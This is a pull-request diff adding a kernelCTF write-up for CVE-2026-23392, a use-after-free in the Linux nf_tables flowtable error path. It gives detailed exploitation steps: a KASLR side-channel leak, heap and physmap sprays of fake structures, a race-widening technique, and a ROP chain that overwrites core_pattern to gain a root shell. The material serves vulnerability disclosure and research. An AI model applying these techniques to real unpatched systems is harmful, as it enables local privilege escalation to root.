Skip to content
Open
Show file tree
Hide file tree
Changes from 13 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
122 changes: 122 additions & 0 deletions pocs/linux/kernelctf/CVE-2026-23392_cos/docs/exploit.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,122 @@
# CVE-2026-23392

## Exploit Primitives

- **Vulnerable object**: `nft_flowtable` (`kmalloc-cg-512`)
- **Primitive chain**: UAF → controlled `rhashtable.tbl` pointer → fake `flow_offload` lookup → fake `dst_entry` → `dst->ops->check()` RIP control → stack pivot → ROP `core_pattern` overwrite

## Vulnerability Overview

The root cause is a missing `synchronize_rcu()` in the error path of `nft_register_flowtable_net_hooks()` ([nf_tables_api.c:~8774](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/netfilter/nf_tables_api.c)). When a duplicate device is detected (`-EEXIST`), the function unregisters hooks via `nf_unregister_net_hook()` (which does `WRITE_ONCE(hook, accept_all)` but no RCU grace period) and then the caller `nf_tables_newflowtable()` frees the flowtable via `kfree()`:

```c
// nft_register_flowtable_net_hooks error path:
err_unregister_net_hooks:
list_for_each_entry_safe(hook, next, hook_list, list) {
nft_unregister_flowtable_hook(net, flowtable, hook);
// WRITE_ONCE(accept_all) — NO synchronize_rcu!
}
return err;

// Caller on error:
flowtable->data.type->free(&flowtable->data); // rhashtable_destroy
kfree(flowtable->name);
kfree(flowtable); // FREE while RCU reader may still hold priv
```

Packets already in the hook function (softirq, RCU read-side) still hold a stale `priv` pointer to `&flowtable->data`. When they call `rhashtable_lookup(&priv->rhashtable, ...)`, they dereference freed memory.

Trigger sequence ([exploit.cpp:1037-1055](../exploit/cos-121-18867.381.45/exploit.cpp)):

1. Create nft table + flowtable `ft1` on `veth1` (permanent hook, creates duplicate conflict)
2. Create flowtable `ft2` on `[veth0, ve0a..ve99a, veth1]` — `veth0` hook goes live, then `veth1` duplicates with `ft1` → `-EEXIST` → error path → `kfree(ft2)`
3. Concurrently flood packets on `veth1` → arrive on `veth0` ingress → hit freed hook

## Exploitation

### 1. KASLR Leak (Prefetch Side-Channel)

Bypass KASLR using the [EntryBleed/Prefetch](https://www.willsroot.io/2022/12/entrybleed.html) side-channel technique ([leak_kaslr_base](https://github.com/google/kernel-research/blob/main/libxdk/util/pwn_utils.cpp) from libxdk). The function measures `prefetchnta`/`prefetcht2` latency across all KASLR slots, identifies the kernel `.text` region via a Windowed Max Absolute Difference algorithm, and applies Boyer-Moore majority voting across 9 independent trials for reliability.

The leaked base is aligned to 16MB (`& ~0xffffffULL`). From this we derive the absolute address of `__init_begin`, which is the target for physmap spray placement.

### 2. NPerm (Physmap Spray)

Build a page-sized buffer containing 5 fake kernel structures ([exploit.cpp:fake_bucket_table..fake_nf_conn](../exploit/cos-121-18867.381.45/exploit.cpp)), then spray 3.1GB of physical pages via `mmap(MAP_POPULATE)` + `MADV_FREE` + re-`mmap(MAP_POPULATE)`. The goal is to plant attacker-controlled data at the kernel virtual address `__init_begin`, which is a known fixed offset from the kernel base.

```
Sprayed page layout:
+0x000 fake bucket_table → rhashtable_lookup traverses this
+0x100 fake flow_offload → returned as "found" flow entry
+0x200 fake dst_entry → dual-purpose: dst fields + ROP chain
+0x300 fake dst_ops → check() = stack pivot gadget
+0x400 fake nf_conn → pass nf_ct_is_dying check
```

### 3. msg_msg Heap Spray (Slab Reclaim)

After `kfree(nft_flowtable)`, spray `msg_msg` objects (464 bytes → `kmalloc-cg-512`, same slab cache as `nft_flowtable` at 448 bytes) to reclaim the freed slab ([exploit.cpp:build_spray](../exploit/cos-121-18867.381.45/exploit.cpp)). The spray payload overwrites `nf_flowtable.rhashtable.tbl` (at slab offset `0x60 = nft_flowtable.data(0x50) + rhashtable.tbl(0x10)`) to point to the fake `bucket_table` at `__init_begin`.

### 4. RATC (Race Against The Clock)

The race window between hook registration and `kfree` is ~13μs. To widen it, we use a timerfd + epoll wakeup storm ([exploit.cpp:ratc_setup](../exploit/cos-121-18867.381.45/exploit.cpp)): 8 forked processes × 256 timerfd dups × 192 epoll instances = 393,216 waiters. When the timerfd fires during softirq on CPU 1, the epoll wakeup storm freezes CPU 1 for ~12-18ms, giving CPU 0 time to complete the `kfree` + `msg_msg` spray while CPU 1 is still inside the hook function.

### 5. UAF → Fake Structure Traversal → RIP Control

When the UAF fires, the kernel follows this code path:

```
nf_flow_offload_inet_hook(priv=FREED) // hook still cached in softirq
→ nf_flow_offload_ip_hook(priv)
→ flow_offload_lookup(&priv->rhashtable, tuple) // priv->rhashtable.tbl = SPRAY
→ rhashtable_lookup(fake_bucket_table) // +0x000: size=1, bucket→+0x100
→ finds fake flow_offload at +0x100 // tuple matches flood packet
→ nf_flow_offload_forward(tuplehash)
→ nf_flow_dst_check(&tuple) // xmit_type=NEIGH → calls dst_check
→ dst_check(tuple.dst_cache, tuple.dst_cookie)
→ dst->obsolete != 0 (+0x3A = 1) // triggers check()
→ dst->ops->check(dst, cookie) // ops→+0x300, check→push_rdi_pivot
→ RIP CONTROL // ★
```

Several checks must pass along this path:

- **rhashtable_lookup**: `bucket_table.size=1` ensures hash always maps to bucket 0. `bucket_table.buckets[0]` points to the fake `flow_offload`. The tuple fields (`src_v4`, `dst_v4`, `src_port`, `dst_port`, `iifidx`, `l3proto`, `l4proto`) must exactly match the flood packet.
- **flow_offload_lookup**: `flow->flags` must not have `NF_FLOW_TEARDOWN` set. `nf_ct_is_dying(flow->ct)` must return false → `ct->status` at `+0x400+0x80` is 0.
- **nf_flow_offload_forward**: `tuple.mtu = 0xFFFF` passes the `nf_flow_exceeds_mtu` check. `tuple.xmit_type = FLOW_OFFLOAD_XMIT_NEIGH` triggers the `dst_check` path.
- **dst_check**: `dst->obsolete = 1` triggers `dst->ops->check(dst, cookie)`. `dst->ops` points to fake `dst_ops` at `+0x300`. `dst_ops->check` at offset `+0x10` contains the stack pivot gadget.

### 6. Stack Pivot and ROP Chain

The hijacked function pointer is `push rdi; pop rsp; jmp __x86_return_thunk`. Since `rdi = dst` (first argument to `check(dst, cookie)`), this pivots the stack to the fake `dst_entry` at `+0x200`.

The `dst_entry` region serves dual purpose — its fields are read by the kernel pre-pivot, and it executes as a ROP chain post-pivot ([exploit.cpp:fake_dst_entry_and_rop](../exploit/cos-121-18867.381.45/exploit.cpp)):

```
+0x00 pop rdi; ret ← RSP starts here after pivot
+0x08 dst_entry.ops pointer ← consumed as junk by pop rdi
+0x10 add rsp, 0x40; ret ← skip over obsolete zone (+0x20..+0x5F)
+0x18 __x86_return_thunk ← popped as RIP, then ret → RSP = +0x60
+0x3A obsolete = 1 ← (shared field, not clobbered by trampoline)
+0x60 pop rdi; ret ← main ROP chain starts
+0x68 &core_pattern ← rdi = kernel address of core_pattern
+0x70 pop rsi; ret
+0x78 &core_pattern_str ← rsi = userspace string "|/proc/%P/fd/666 %P"
+0x80 pop rdx; ret
+0x88 sizeof(core_pattern_str)← rdx = string length
+0x90 _copy_from_user ← overwrites core_pattern
+0x98 pop rdi; ret
+0xA0 0x7FFFFFFF ← rdi = ~2 billion ms
+0xA8 msleep ← freeze this kernel thread forever
```

The ROP chain calls `_copy_from_user(core_pattern, userspace_str, len)` to overwrite the kernel's `core_pattern` with `|/proc/%P/fd/666 %P`, then calls `msleep(0x7FFFFFFF)` to prevent the thread from returning (which would crash due to corrupted stack).

### 7. Post-Exploit: core_pattern Pipe Handler → Root Shell

A previously forked child process ([exploit.cpp:crash](../exploit/cos-121-18867.381.45/exploit.cpp)) polls `/proc/sys/kernel/core_pattern` in a loop. Once it detects the overwrite, it:

1. Copies the exploit binary to `memfd` and `dup2`s it to fd 666
2. Triggers a NULL pointer dereference (`*(volatile size_t *)0 = 0`) to crash
3. The kernel executes `|/proc/%P/fd/666 %P` as the core handler — running our binary as root with the crashing process's PID as argument
4. The binary detects `argc == 2`, uses `pidfd_open` + `pidfd_getfd` to steal the parent's stdio, and runs `cat /flag`
10 changes: 10 additions & 0 deletions pocs/linux/kernelctf/CVE-2026-23392_cos/docs/vulnerability.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
- Requirements:
- Capabilities: CAP_NET_ADMIN (via user namespaces)
- Kernel configuration: `CONFIG_NETFILTER=y`, `CONFIG_NF_TABLES=y`, `CONFIG_NF_FLOW_TABLE=y`, `CONFIG_NF_FLOW_TABLE_INET=y`, `CONFIG_NETFILTER_INGRESS=y`
- User namespaces required: yes
- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3f0465a9ef02624e0a36db9e7c9bedcafcd6f6fe
- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d73f4b53aaaea4c95f245e491aa5eeb8a21874ce
- Affected version: v5.5 - v7.0-rc4
- Affected component: net/netfilter
- Cause: Use-After-Free
- Description: Use-after-free in nf_tables flowtable error path. `nft_register_flowtable_net_hooks()` registers netfilter hooks then checks for duplicate devices across existing flowtables. On `-EBUSY`, it unregisters hooks via `nf_unregister_net_hook()` (which does `WRITE_ONCE(accept_all)` but no `synchronize_rcu()`) then the caller `nf_tables_newflowtable()` frees the flowtable via `kfree()`. Packets already in the hook function (softirq, RCU read-side) still hold a stale `priv` pointer to the freed flowtable, causing a use-after-free when accessing `flowtable->data.rhashtable`.
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
KERNELXDK_INCLUDE_DIR ?= /usr/local/include
KERNELXDK_LIB_DIR ?= /usr/lib

CXX = g++
CXXFLAGS = -I. -I$(KERNELXDK_INCLUDE_DIR) -static -pthread -s
LDFLAGS = -L$(KERNELXDK_LIB_DIR) -lkernelXDK -lkeyutils

exploit: exploit.cpp target_db.kxdb
$(CXX) $(CXXFLAGS) -o $@ $< $(LDFLAGS)

exploit_debug: exploit.cpp target_db.kxdb
$(CXX) $(CXXFLAGS) -g -o $@ $< $(LDFLAGS)

target_db.kxdb:
wget -O target_db.kxdb https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb

clean:
rm -f exploit exploit_debug target_db.kxdb

.PHONY: clean
Binary file not shown.
Loading
Loading